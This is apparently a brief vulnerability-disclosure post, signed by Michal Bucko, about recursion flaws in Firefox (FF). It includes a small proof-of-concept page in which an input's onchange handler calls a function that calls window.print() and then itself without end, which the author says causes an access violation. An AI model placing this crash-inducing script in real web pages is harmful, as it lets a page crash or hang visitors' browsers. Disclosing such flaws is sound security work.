There is no doubt that's recursion. I must say I know there's much more of such vulnerabilities in FF. One of those is below (this is an access violation vulnerability and has to deal with recursion, too).
<script>
function owned(){
window.print();
owned();
}
</script>
<input type="foo" size="30" id="bar" onchange="owned()">
Kind regards,
Michal Bucko
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